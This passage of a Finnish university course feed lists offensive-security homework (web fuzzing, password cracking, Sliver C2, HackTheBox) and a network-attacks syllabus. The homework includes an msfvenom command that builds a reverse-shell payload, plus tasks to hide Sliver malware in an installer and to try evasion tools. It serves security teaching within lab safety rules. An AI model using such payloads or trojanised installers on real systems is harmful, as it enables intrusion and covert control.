&lt;li>Hakkeroimaan oppii hakkeroimalla.&lt;/li>
&lt;/ul>
&lt;h3 id="fuzzy">Fuzzy&lt;/h3>
&lt;p>&lt;em>Opit käyttämään maailman johtavaa weppifuzzeria: ffuf. Sen opettaa meille tunnilla itse työkalun tekijä, joohoi.&lt;/em>&lt;/p>
&lt;ul>
&lt;li>x) Lue/katso/kuuntele ja tiivistä. (Tässä x-alakohdassa ei tarvitse tehdä testejä tietokoneella, vain lukeminen tai kuunteleminen ja tiivistelmä riittää. Tiivistämiseen riittää muutama ranskalainen viiva. Lisää mukaan jokin oma idea, huomio, kysymys tai kommentti.)
&lt;ul>
&lt;li>Karvinen 2023: &lt;a href="https://terokarvinen.com/2023/fuzz-urls-find-hidden-directories/">Find Hidden Web Directories - Fuzz URLs with ffuf&lt;/a>&lt;/li>
&lt;li>Jompi kumpi, Hoikkalan video tai teksti:
&lt;ul>
&lt;li>Hoikkala 2023: &lt;a href="https://github.com/ffuf/ffuf/blob/master/README.md">ffuf README.md&lt;/a>, tai&lt;/li>
&lt;li>Hoikkala &amp;quot;joohoi&amp;quot; 2020: &lt;a href="https://www.youtube.com/watch?v=mbmsT3AhwWU">Still Fuzzing Faster (U fool)&lt;/a>. In HelSec Virtual meetup #1. (Noin tunnin mittainen)&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>a) Fuzzzz. Ratkaise dirfuz-1 artikkelista Karvinen 2023: &lt;a href="https://terokarvinen.com/2023/fuzz-urls-find-hidden-directories/">Find Hidden Web Directories - Fuzz URLs with ffuf&lt;/a>.&lt;/li>
&lt;li>b) Fuff me. Asenna FuffMe-harjoitusmaali. Karvinen 2023: &lt;a href="https://terokarvinen.com/2023/fuffme-web-fuzzing-target-debian">Fuffme - Install Web Fuzzing Target on Debian&lt;/a>&lt;/li>
&lt;li>Ratkaise ffufme harjoitukset - kaikki paitsi ei &amp;quot;Content Discovery - Pipes&amp;quot;.
&lt;ul>
&lt;li>c) Basic Content Discovery&lt;/li>
&lt;li>d) Content Discovery With Recursion&lt;/li>
&lt;li>e) Content Discovery With File Extensions&lt;/li>
&lt;li>f) No 404 Status&lt;/li>
&lt;li>g) Param Mining&lt;/li>
&lt;li>h) Rate Limited&lt;/li>
&lt;li>i) Subdomains - Virtual Host Enumeration&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;h3 id="syyskuu2025">Syyskuu2025!&lt;/h3>
&lt;p>&lt;em>Nyt levitään! Opit murtamaan salasanoja.&lt;/em>&lt;/p>
&lt;p>&lt;em>Update 2025-09-24 w39 Wed: Korjasin numeron h4 -&amp;gt; h5 Syyskuu2025!&lt;/em>&lt;/p>
&lt;ul>
&lt;li>x) Lue/katso ja tiivistä. (Tässä x-alakohdassa ei tarvitse tehdä testejä tietokoneella, vain lukeminen tai kuunteleminen ja tiivistelmä riittää. Tiivistämiseen riittää muutama ranskalainen viiva kustakin artikkelista. Kannattaa lisätä myös jokin oma ajatus, idea, huomio tai kysymys.)
&lt;ul>
&lt;li>Karvinen 2022: &lt;a href="https://terokarvinen.com/2022/cracking-passwords-with-hashcat/">Cracking Passwords with Hashcat&lt;/a>&lt;/li>
&lt;li>Karvinen 2023: &lt;a href="https://terokarvinen.com/2023/crack-file-password-with-john/">Crack File Password With John&lt;/a>&lt;/li>
&lt;li>€ Santos et al 2017: Security Penetration Testing - The Art of Hacking Series LiveLessons: &lt;a href="https://learning.oreilly.com/videos/security-penetration-testing/9780134833989/9780134833989-sptt_00_06_00_00">Lesson 6: Hacking User Credentials&lt;/a> (8 videos, about 30 min)&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>a) Asenna Hashcat ja testaa sen toiminta murtamalla esimerkkisalasana.&lt;/li>
&lt;li>c) Asenna John the Ripper ja testaa sen toiminta murtamalla jonkin esimerkkitiedoston salasana.&lt;/li>
&lt;li>e) Tiedosto. Tee itse tai etsi verkosta jokin salakirjoitettu tiedosto, jonka saat auki. Murra sen salaus. (Jokin muu formaatti kuin aiemmissa alakohdissa kokeilemasi).&lt;/li>
&lt;li>f) Tiiviste. Tee itse tai etsi verkosta salasanan tiiviste, jonka saat auki. Murra sen salaus. (Jokin muu formaatti kuin aiemmissa alakohdissa kokeilemasi. Voit esim. tehdä käyttäjän Linuxiin ja murtaa sen salasanan.)&lt;/li>
&lt;li>g) Tee msfvenom-työkalulla haittaohjelma, joka soittaa kotiin (reverse shell). Ota yhteys vastaan metasploitin multi/handler -työkalulla.
&lt;ul>
&lt;li>Haittaohjelma ei saa olla automaattisesti leviävä. Msfvenom tekee tyypillisillä asetuksilla ohjelman, joka avaa reverse shellin, kun sen ajaa, mutta joka ei leviä eikä tee muutenkaan mitään itsestään.&lt;/li>
&lt;li>Raporttiin riittävät pelkät komennot ja raportti haitakkeen tekemisestä, itse binääriä ei ole pakko laittaa verkkoon. Mikäli laitat binäärin verkkoon, pakkaa se salakirjoitettuun zip-pakettiin ja laita salasanaksi &amp;quot;infected&amp;quot;. Latauslinkin yhteydessä on oltava selkeä varoitus siitä, että kyseessä on haittaohjelma (malware), jota ei tule ajaa tuotantokoneilla. Salasanan voit halutessasi kertoa varoitusten yhteydessä.&lt;/li>
&lt;li>Palvelimen päässä pitää olla reikä tulimuurissa. Reverse shell tarkoittaa, että palvelin on hyökkäyskoneella.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>h) Vapaaehtoinen: Tee Sliver-työkalulla haittaohjelma, joka soittaa kotiin.&lt;/li>
&lt;li>i) Vapaaehtoinen: Tee PoshC2-työkalulla haittaohjelma, joka soittaa kotiin.&lt;/li>
&lt;li>j) Vapaaehtoinen: Tee Mythic-työkalulla haittaohjelma, joka soittaa kotiin.&lt;/li>
&lt;li>k) Vapaaehtoinen: Asenna Windows-virtuaalikone ja tee kotiin soittava haittaohjelma siihen. Itse tykkään Linuxista ja käytän paljon sitä, tässä hieman vaihtelua. Windows-käyttäjät ovat myös usein tottuneet (paketinhallinnan puutteessa) lataamaan ohjelmia weppisivuilta.&lt;/li>
&lt;/ul>
&lt;p>Vinkit&lt;/p>
&lt;ul>
&lt;li>O'Reilly Learning videot ja kirjat pääset lukemaan &lt;a href="https://libguides.haaga-helia.fi/az/databases">ilmaiseksi HH tunnuksilla, kun kirjaudut kirjaston kautta&lt;/a>.&lt;/li>
&lt;li>Irrota tarvittasessa koneet netistä testien ajaksi.&lt;/li>
&lt;li>Metasploit msfconsole multi/handler
&lt;ul>
&lt;li>laita samat asetukset kuin msfvenom&lt;/li>
&lt;li>muista 'set payload'&lt;/li>
&lt;li>'run -j' ajaa taustalla, sessiot ovat 'sessions'&lt;/li>
&lt;li>prosessoriarkkitehtuuri kohteen mukaan&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;p>Esimerkki ulkomuistista, pitää itse soveltaa&lt;/p>
&lt;pre>&lt;code>$ msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=127.0.0.1 LPORT=8080 -o infected
&lt;/code>&lt;/pre>
&lt;h3 id="simpukoita">Simpukoita&lt;/h3>
&lt;ul>
&lt;li>a) Snif Venom! Näytä esimerkki yhteydestä: reverse shell msfvenom:lla tehdystä binääristä -&amp;gt; metasploit multi/handler. Tarkastele yhteysttä snifferillä, kuten Wireshark. Mitä havaitset? Mistä ominaisuuksista yhteyden voi tunnistaa? Millä muutoksilla tunnistamista voi vaikeuttaa?&lt;/li>
&lt;li>b) Hello, Sliver. Näytä esimerkki http-yhteydestä Sliverillä.&lt;/li>
&lt;li>c) Sniff Sliver! Tarkastele Sliverin http-yhteyttä snifferillä. Mitä havaitset? Mistä ominaisuuksista yhteyden voi tunnistaa?&lt;/li>
&lt;li>d) Sliverillä voit muuttaa yhteyden ominaisuuksia. Kokeile ja näytä esimerkkejä. Muista todeta testein, että muutokset toimivat.&lt;/li>
&lt;li>e) Sliverillä voi tehdä monenlaista kohteessa, ruutukaappauksista alkaen. Näytä esimerkkejä toiminnoista.&lt;/li>
&lt;li>f) Vapaaehtoinen: Kokeile Sliver-binääriä Windowsissa.&lt;/li>
&lt;li>g) Vapaaehtoinen: Tee Windows-asennusohjelma, joka asentaa jonkin tavallisen ohjelman ja sen yhteydessä Sliver-haitakkeen. Haittakkeen sisältävät binäärit pitää laittaa salattuun malware-sample.zip -pakettiin, jonka salasana on &amp;quot;infected&amp;quot;. Paketin latauksen yhteydessä tulee olla selkeä varoitus, että kyseessä on esimerkki haittaohjelmasta (malware).&lt;/li>
&lt;li>h) Vapaaehtoinen: Kokeile Unicorn evasion -työkalua.&lt;/li>
&lt;li>i) Vapaaehtoinen: Kokeile Veil evasion -työkalua.&lt;/li>
&lt;/ul>
&lt;h3 id="maalisuoralla">Maalisuoralla&lt;/h3>
&lt;p>&lt;em>Olet kohta läpäissyt yhden koulumme vaikeimmista kursseista. Tsemppiä loppumetreille!&lt;/em>&lt;/p>
&lt;p>&lt;em>Opit seuraamaan tiedettä - oikeita vertaisarvioituja artikkeleita hakkeroinnista. HackTheBox taas on yksi palvelu lisää käytännön harjoitteluun.&lt;/em>&lt;/p>
&lt;p>&lt;em>Ps. Stallman audiksessa ensi torstaina! 2025-10-09 w41 Thu Happy Hacking Day.&lt;/em>&lt;/p>
&lt;ul>
&lt;li>x) Lue/katso ja tiivistä. (Tässä x-alakohdassa ei tarvitse tehdä testejä tietokoneella, vain lukeminen tai kuunteleminen ja tiivistelmä riittää. Tiivistämiseen riittää muutama ranskalainen viiva kustakin artikkelista. Kannattaa lisätä myös jokin oma ajatus, idea, huomio tai kysymys.)
&lt;ul>
&lt;li>Karvinen 2025: &lt;a href="https://terokarvinen.com/review-article">Start Your Research with a Review Article&lt;/a>&lt;/li>
&lt;li>Review. Etsi vapaavalintainen &lt;em>review&lt;/em> eli katsausartikkeli, joka liittyy kurssin aiheisiin.
&lt;ul>
&lt;li>Artikkelin pitää olla &lt;a href="https://jfp.csc.fi/jufoportaali">JUFO-arvioidusta&lt;/a> julkaisusta eli jufo-taso 1, 2 tai 3.&lt;/li>
&lt;li>Mieluiten tuore, julkaisusta alle 2 vuotta.&lt;/li>
&lt;li>Artikkeleita löytyy &lt;a href="https://scholar.google.com/ncr">scholar.google.com/ncr&lt;/a>&lt;/li>
&lt;li>Jos artikkeli on pitkä, yli 4 sivua, voit perustaa tiivistelmäsi silmäilyyn, kunhan mainitset tästä tiivistelmässäsi.&lt;/li>
&lt;li>Tiivistä sisältöä, älä pelkästään toista otsikoita tai puhu pelkkää metatekstiä. Väärin: &amp;quot;Jännittävä artikkeli rikollisuudesta Fobarstanissa, jossa on kiinnostava hyökkäys.&amp;quot; Oikein: &amp;quot;Fobarstainin rikolliset ovat käyttäneet 2025 alkaen automurtoihin SnapBox-välimieshyökkäystä. Proof-of-concept on saatavilla Githubista...&amp;quot;&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>a) Lippuvalmistelu. Valmistele kone ensi viikon lipunryöstöön. Tästä kohdasta ei tarvita kattavaa raporttia, riittää pelkkä luettelo siitä, miten ratkaisit allaolevat kysymykset. Jos sinulla on esimerkiksi valmis, toimiva Kali VM tavallisella PC:llä, tässä ei tarvitse tehdä juuri mitään.
&lt;ul>
&lt;li>amd64. Haasteet voivat sisältää amd64-binäärejä. Nämä toimivat itsestään perus-PC:ssä, joita lähes kaikkien koneet ovat. Macintosheissa (M1, M2, M3...) hankala tehdä tehtävää, joten kannattaa ottaa tavallinen amd64-kone.&lt;/li>
&lt;li>Netti. Koneesta pitää päästä nettiin, jotta voit palauttaa liput. Voi olla kätevää, että saat nettiyhteyden katkaistuksi, jotta porttiskannailu ym. on huoletonta.&lt;/li>
&lt;li>Too many secrets. Opettaja voi tarkastaa lipunryöstön koneesi ja tutkia kaikkia siellä olevia tiedostoja. Jos käytät pelkästään virtuaalikonetta (myös selailu, muistiinpanot ym virtuaalikoneesta), tarkastaminen koskee vain sitä. Katso, ettei tällä koneella ole luottamuksellisia tietoja.&lt;/li>
&lt;li>Koneella saa olla haluamasi ohjelmat ja työkalut. Työkaluista ja ohjelmista pitää antaa opettajalle kopio, jos ne eivät ole yleisesti käytettyjä, tunnettuja ja saatavilla olevia vapaita ohjelmia.&lt;/li>
&lt;li>Jos lipunryöstön koneella on muistiinpanoja, niistä on annettava kopio opettajalle sähköpostilla. Omia muistiinpanoja saa olla, mutta ei ole pakko. Lipunryöstössä saa lukea julkisia lähteitä, kuten opettajan kotisivuja sekä omia ja toisten julkisia raportteja.&lt;/li>
&lt;li>Paikallinen tekoäly. Omaa tekoälyä ei tarvita lipunryöstössä, eikä siitä todennäköisesti ole juuri hyötyä. Mutta siltä varalta, että joku miettii tätä: Paikallisen tekoälyn käyttö lipunryöstössä on sallittu, jos ilmoittaa Terolle etukäteen sähköpostilla siitä, antaa opettajalle sähköpostitse täydellisen kopion keskustelusta tekoälyn kanssa ja kaikki paramaterit, sekä kopion tekoälyn koodista ja painoista tai linkin niihin. Ulkopuolisen tekoälyn käyttö verkon yli on lipunryöstössä kielletty.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>b) HTB Dancing. Ratkaise HackTheBox.com: &lt;a href="https://app.hackthebox.com/starting-point">Starting Point&lt;/a>: Tier 0: Dancing.&lt;/li>
&lt;li>c) HTB Responder. Ratkaise HackTheBox.com: &lt;a href="https://app.hackthebox.com/starting-point">Starting Point&lt;/a>: Tier 1: Responder.&lt;/li>
&lt;li>d) Vapaaehtoinen: Tilaa Google Scholarlista omaan alaasi liittyvät artikkelit sähköpostiin. Jo otsikoista saa hyvän käsityksen artikkeleista. Kun olet saanut muutaman viestin, muista tiukentaa filtteriä - haluat vain viestit jotka haluat.&lt;/li>
&lt;li>e) Vapaaehtoinen: HTB Academy. Kokeile &lt;a href="https://academy.hackthebox.com/">HackTheBox Academyn&lt;/a> ilmaista sisältöä.&lt;/li>
&lt;li>f) Vapaaehtoinen: HTB Starting point: Tier 2: Archetype.&lt;/li>
&lt;/ul>
&lt;p>Vinkit:&lt;/p>
&lt;ul>
&lt;li>HackTheBox (HTB)
&lt;ul>
&lt;li>Vaatii ilmaisen rekisteröitymisen&lt;/li>
&lt;li>Käytä OpenVPN-yhteyttä omalta virtuaalikoneelta.&lt;/li>
&lt;li>Starting Point VPN on eri verkko kuin tavallinen HackTheBox Labs VPN.&lt;/li>
&lt;li>Testaa, että paketit eivät vuoda verkkoon.&lt;/li>
&lt;li>Etsi säännöt HTB:n sivulta; lue; ja tallenna itsellesi esimerkiksi kuvakaappauksena&lt;/li>
&lt;li>Tässä olevat tehtävät voi tehdä ilmaiseksi rekisteröitymällä palveluun&lt;/li>
&lt;li>Koneen kohdalla on lueteltu aiheet tageissa
&lt;ul>
&lt;li>Tagit antavat viitteitä haavoittuvuuksista
&lt;ul>
&lt;li>WinRM, XAMPP, SMB, Responder, Remote File Inclusion, Remote Code Execution...&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Kun mukana on vieraita tekniikoita ja työkaluja
&lt;ul>
&lt;li>Hae itse lisätietoa. Itsenäinen tiedon hakeminen on välttämätöntä, jos haluat murtautua johonkin todellisiin järjestelmiin.&lt;/li>
&lt;li>Muista merkitä lähteet&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Starting point -tehtäviin löytyy malliratkaisut &amp;quot;Official Writeup&amp;quot;
&lt;ul>
&lt;li>Yritä ensin itse. Tee pari punnerrusta. Juo lasi vettä. Jaloittele. Mieti eri lähestymistapoja. Tee hypoteeseja.&lt;/li>
&lt;li>Mutta älä hakkaa päätä seinään loputtomasti. Kun ideat on käytetty, niin tietysti jossain vaiheessa kannattaa katsoa vinkit seuraavaan askeleeseen.&lt;/li>
&lt;li>Viittaa malliratkaisuuun kuten muihinkin lähteisiin.&lt;/li>
&lt;li>Jos jäät jumiin, voit myös vilkaista vain askeleen malliratkaisusta ja jatkaa treeniä itse siitä.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>&amp;quot;Very easy&amp;quot; - joopa joo, varmaan jollekin...&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>HTB Academy
&lt;ul>
&lt;li>Voi kokeilla ilmaiseksi esimerkkisisällöllä&lt;/li>
&lt;li>Haaga-Helian sähköpostiosoitteella rekisteröitymällä suurin osa sisällöstä (myös Pentester path) vajaat 10 EUR/kk.
&lt;ul>
&lt;li>Tässä läksyssä ei tarvitse ostaa mitään maksullisia palveluita.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;p>&lt;em>Huomaa myös h8 Bonus&lt;/em>&lt;/p>
&lt;p>&lt;em>Onnea lipunryöstöön!&lt;/em>&lt;/p>
&lt;h3 id="h8-bonus">h8 Bonus&lt;/h3>
&lt;p>Vapaaehtoinen bonus: luettele ja linkitä tähän tekemäsi&lt;/p>
&lt;ul>
&lt;li>a) Vapaaehtoiset tehtävät&lt;/li>
&lt;li>b) Ristiinarvioinnin jälkeen olennaisesti parannetut tehtävät&lt;/li>
&lt;li>c) Kurssin ulkopuolella tekemäsi kiinnostavat hakkerointihaasteet, esimerkiksi
&lt;ul>
&lt;li>Projektit&lt;/li>
&lt;li>HackTheBox korkatut koneet, mukaan ruutukaappaus pistesivustasi. Erottele retired ja non-retired. (Ei non-retired boksien läpikävelyohjeita julkiseen weppiin)&lt;/li>
&lt;li>Lipunryöstöt&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;p>Tehtävän määräaika on 24 h ennen viimeisen opetuskerran alkua. Tämä bonustehtävä on kokonaan vapaaehtoinen.&lt;/p></description></item><item><title>Verkkoon tunkeutuminen ja tiedustelu</title><link>https://terokarvinen.com/verkkoon-tunkeutuminen-ja-tiedustelu/</link><pubDate>Sun, 22 Mar 2026 12:47:03 +0200</pubDate><guid>https://terokarvinen.com/verkkoon-tunkeutuminen-ja-tiedustelu/</guid><description>
&lt;p>Attack the network between machines. Capture radio transmissions. Copy key cards. Attack WiFi.&lt;/p>
&lt;p>Maybe even some software radio...&lt;/p>
&lt;table>
&lt;thead>
&lt;tr>
&lt;th>&lt;/th>
&lt;th>&lt;/th>
&lt;/tr>
&lt;/thead>
&lt;tbody>
&lt;tr>
&lt;td>Course name and code&lt;/td>
&lt;td>Verkkoon tunkeutuminen ja tiedustelu ICI013AS3A-3003 (&lt;a href="https://opinto-opas.haaga-helia.fi/course_unit/ICI013AS3A">opinto-opas&lt;/a>)&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>Translated name&lt;/td>
&lt;td>Network Attacks and Reconnaissance&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>Timing&lt;/td>
&lt;td>&lt;strong>2026 period 4&lt;/strong>, late spring (2026 w13-w20)&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>Credits&lt;/td>
&lt;td>5 cr&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>Classes&lt;/td>
&lt;td>Pasila, classroom pa5001&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>Max students&lt;/td>
&lt;td>30 (Fully booked. Queuing? Come to the first class.)&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>Language&lt;/td>
&lt;td>Finnish (+reading material in English)&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>Remote&lt;/td>
&lt;td>No, fully contact in Pasila classroom, mandatory attendance&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>Feedback&lt;/td>
&lt;td>Erinomainen 4.5 /5 &lt;img src="https://terokarvinen.com/img/five-stars-15.png" alt="Five star experience">&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>Services&lt;/td>
&lt;td>&lt;a href="https://hhmoodle.haaga-helia.fi/course/view.php?id=45178">Moodle: Verkkoon tunkeutuminen ja tiedustelu&lt;/a>, Laksu. Voluntary extra: &lt;a href="https://terokarvinen.com/newsletter/">Tero's list&lt;/a>.&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>Teachers&lt;/td>
&lt;td>&lt;a href="https://TeroKarvinen.com">Tero Karvinen&lt;/a> and &lt;a href="https://github.com/lisoant">Lari Iso-Anttila&lt;/a>&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>First class&lt;/td>
&lt;td>2026-03-23 w13 Mon 08:00, pa5001, bring your laptop&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>Enroll&lt;/td>
&lt;td>in Peppi&lt;/td>
&lt;/tr>
&lt;/tbody>
&lt;/table>
&lt;h2 id="aikataulu">Aikataulu&lt;/h2>
&lt;table>
&lt;thead>
&lt;tr>
&lt;th>Päivä&lt;/th>
&lt;th>Aihe, ope&lt;/th>
&lt;/tr>
&lt;/thead>
&lt;tbody>
&lt;tr>
&lt;td>2026-03-23 w13 Mon&lt;/td>
&lt;td>1. Kokonaiskuva: teoria, tärkeimmät mallit - Tero&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>2026-03-30 w14 Mon&lt;/td>
&lt;td>2. Liikenteen sieppaaminen ja analyysi - Tero&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>2026-04-06 w15 Mon&lt;/td>
&lt;td>(Pääsiäisvapaa, ei oppituntia)&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>2026-04-13 w16 Mon&lt;/td>
&lt;td>4. NFC ja RFID - Lari&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>2026-04-20 w17 Mon&lt;/td>
&lt;td>5. Laboratorio- ja simulaatioympäristöt hyökkäyksissä - Lari&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>2026-04-27 w18 Mon&lt;/td>
&lt;td>6. WiFi - Lari&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>2026-05-04 w19 Mon&lt;/td>
&lt;td>7. Radiosignaalien automaattinen purkaminen - Tero&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>2026-05-11 w20 Mon&lt;/td>
&lt;td>8. Lipunryöstö - Tero, Lari&lt;/td>
&lt;/tr>
&lt;/tbody>
&lt;/table>
&lt;p>Opetus maanantaisin 08:00 - 10:45 pa5001.&lt;/p>
&lt;p>Läppäri mukaan, Linux virtuaalikoneessa. (Apple Mac-käyttäjät: kurssilla pitää pystyä ajamaan tavallisia amd64-binäärejä, suosittelemme &amp;quot;tavallista PC-läppäriä&amp;quot; eli amd64-prosessoria. Tavalliset amd64-binäärit eivät toimi M1, M2, M3, M4 Maceissa ainakaan helposti.)&lt;/p>
&lt;p>Aikataulu on alustava ja kurssi on edistynyt, joten aiheet voivat vielä muuttua kurssin aikana.&lt;/p>
&lt;h2 id="lahtotaso">Lähtötaso&lt;/h2>
&lt;p>Kurssin alkaessa tulee osata&lt;/p>
&lt;ul>
&lt;li>Verkkojen perusteet&lt;/li>
&lt;li>Linuxin alkeet&lt;/li>
&lt;li>Asentaa Linux virtuaalikoneeseen omalle koneelle&lt;/li>
&lt;/ul>
&lt;p>Millä tahansa tavalla hankitut esitiedot kelpaavat. Tiedot on voinut hankkia esimerkiksi kursseilla &amp;quot;Linux palvelimet&amp;quot; tai &amp;quot;Tietoverkkojen perusteet&amp;quot;, mutta itse opeteltu sopii myös.&lt;/p>
&lt;p>Esitiedot tarkistetaan tarvittaessa kyselyllä, ja kurssille valittavat voidaan tarvittaessa valita alkutestin perusteella.&lt;/p>
&lt;p>Voit halutessasi kerrata tai opetella taidot alta ennen kurssia. Jos osaat aiheet jo, kertauspakettia ei tarvitse lukea.&lt;/p>
&lt;h2 id="kertauspaketti">Kertauspaketti&lt;/h2>
&lt;p>&lt;em>Jos osaat nämä asiat jo, et tarvitse kertauspakettia.&lt;/em>&lt;/p>
&lt;p>Jos kurssilla järjestetään alkutesti, sen kysymykset eivät välttämättä rajoitu tässä lueteltuihin lähteisiin.&lt;/p>
&lt;h3 id="verkkojen-perusteet">Verkkojen perusteet&lt;/h3>
&lt;p>Nämä ovat siis jokapäiväisiä TCP/IP:n perusteita, joita olet varmaan joskus käyttänyt.&lt;/p>
&lt;ul>
&lt;li>IP-osoite (ip address), maski (network mask), nimipalvelin (domain name server), oletusreititin (default gateway)&lt;/li>
&lt;li>Asiakas-palvelin-arkkitehtuuri (client-server)&lt;/li>
&lt;li>Portti, kuunteleva portti, yläportti (ephemeral port), muutama tärkein TCP-portti (22, 53, 80, 443)&lt;/li>
&lt;li>Pinomallin ajatus (abstraction layers, kerros puhuu vain viereiselle kerrokselle)&lt;/li>
&lt;li>TCP/IP-pinon neljä kerrosta (application esim. HTTP, transport TCP, Internet IP, Link ARP)&lt;/li>
&lt;li>Seuraavan hypyn reitityksen perusajatus (next hop routing, ei reititystekniikoita)&lt;/li>
&lt;li>Verkkotyökalujen alkeet. Esimerkiksi oma ip-osoite (ip a, hostname -I), nimipalvelutiedot (host terokarvinen.com), onko portti auki (nc -vz localhost 80; telnet localhost 80), latenssin mittaus (ping 8.8.8.8).&lt;/li>
&lt;/ul>
&lt;p>Wikipedia: &lt;a href="https://en.wikipedia.org/wiki/Internet_protocol_suite">Internet protocol suite&lt;/a>&lt;/p>
&lt;h3 id="linuxin-alkeet">Linuxin alkeet&lt;/h3>
&lt;p>Linuxia käytetään työkaluna. Perustaidot riittävät. Kurssi ei edellytä laajoja Linuxin ylläpitotaitoja.&lt;/p>
&lt;ul>
&lt;li>Komentokehotteen käyttö&lt;/li>
&lt;li>Pääkäyttäjän oikeudet (sudo)&lt;/li>
&lt;li>Pakentinhallinta (apt-get)&lt;/li>
&lt;li>Hakemistorakenne (esim. /home/tero/, /etc/, /, /var/log, /usr/bin/, /usr/local/bin/)&lt;/li>
&lt;li>Lokit (sudo journalctl -n 20; /var/log/apache2/error.log)&lt;/li>
&lt;/ul>
&lt;p>Opettele komennot tästä: &lt;a href="https://terokarvinen.com/2020/command-line-basics-revisited/">Karvinen 2020: Command Line Basics Revisited&lt;/a>&lt;/p>
&lt;p>Helpointa kerrata nämä asentamalla Linux virtuaalikoneeseen ja leikkimällä sillä.&lt;/p>
&lt;h3 id="linuxin-asentaminen-virtuaalikoneeseen">Linuxin asentaminen virtuaalikoneeseen&lt;/h3>
&lt;ul>
&lt;li>Esimerkiksi Debianin asentaminen VirtualBoxiin (ohje alla)&lt;/li>
&lt;li>Voit käyttää muitakin virtualisointiratkaisuja, jos pystyt itse soveltamaan ja ratkomaan niihin liittyvät haasteet (esim QEMU, lib-virt, virt-manager...)&lt;/li>
&lt;li>Jos oma koneesi on uusi M1, M2 tai M3-prosessorilla varustettu Mac, niin tulee osata asentaa Linux virtuaalikoneeseen tässä (arm64) ympäristössä.&lt;/li>
&lt;/ul>
&lt;p>Tällä asennusohjeella opiskelijat ovat asentaneet satoja Linuxeja: &lt;a href="https://terokarvinen.com/2021/install-debian-on-virtualbox/">Install Debian on Virtualbox - Updated 2024&lt;/a>&lt;/p>
&lt;p>Notes on &lt;a href="https://github.com/MarcCarr/InfoSecMC/blob/main/H2_Kill_Chain.md#a-bookworm">Mac M1 install: Carr 2024: a) Bookworm&lt;/a>&lt;/p>
&lt;h2 id="vanhoja-toteutuksia">Vanhoja toteutuksia&lt;/h2>
&lt;p>&lt;a href="https://terokarvinen.com/2025/verkkoon-tunkeutuminen-ja-tiedustelu--ici013as3a-3001--2025p4/">Verkkoon tunkeutuminen ja tiedustelu ICI013AS3A-3001 loppukeväällä 2025p4&lt;/a>&lt;/p>
&lt;h2 id="laksyt">Läksyt&lt;/h2>
&lt;p>Palautus 24 h ennen seuraavaa lukujärjestykseen merkittyä aikaa. Weppisivulle (HTML), ja palauta linkki Laksuun. Halutessasi voit laittaa linkin myös kommentiksi tämän sivun perään, niin sivusi saa lisää kävijöitä ja nousee PageRankissa.&lt;/p>
&lt;p>Nämä läksyt ovat alustavia. Läksyt ovat virallisia vasta, kun ne on annettu tunnilla. Tämä on edistynyt kurssi, joten pystymme tekemään muutoksia kurssin kuluessa ja sovittamaan läksyt aiheen mukaan. Jos et uskalla tai muuten halua julkaista, voit laittaa weppisivun salasanan taakse (sama salasana koko kurssille ja jokaiselle tehtävälle, ei kirjautumista eri tunnuksilla eri henkilöille) ja jakaa salasanan kurssilaisten kanssa - mutta suosittelen julkaisua. Kotisivutilaa saa esim wordpress.com, github.com, gitlab.com ja monista muista paikoista.&lt;/p>
&lt;p>Suosittu ja helppo tapa on &lt;a href="https://terokarvinen.com/2023/create-a-web-page-using-github/">laittaa raportit Githubiin&lt;/a>.&lt;/p>
&lt;p>Kaikki käytetyt lähteet tulee merkitä raporttiin: kurssin tehtäväsivu, kurssikavereiden raportit, man-sivut, kirjat. Mikäli tekoälyltä kysyy neuvoa, se on merkittävä lähteeksi. Tekoälyt hallusinoivat, tiedot on suositeltavaa tarkistaa. Tiivistelmiä tai esseitä ei saa generoida tekoälyllä eikä muilla vastaavilla tekniikoilla, vaan ne on kirjoitettava itse.&lt;/p>
&lt;p>Kaikkien ajan säästämiseksi poistan kurssilta ne, jotka eivät palauta tehtäviä ajallaan.&lt;/p>
&lt;p>Tekoälyn käyttö: Tällä kurssilla on samat AI säännöt kuin YAMK:n kurssillani: &amp;quot;AI and large language models (LLM): You can ask AI or LLM a question and use the answer as facts for your own answer, written in your own words. AI must be marked as a reference, with details such as prompt (and for advanced users system prompts, temperature, jailbreaks...). LLMs tend to hallucinate, so you should check answers from more reliable sources. It's not allowed to generate text with AI or similar technologies. For example, it's not allowed to generate essay answers or summaries with AI, LLM or similar technologies.&amp;quot;&lt;/p>
&lt;h3 id="h0-hei-maailma">h0 Hei maailma&lt;/h3>
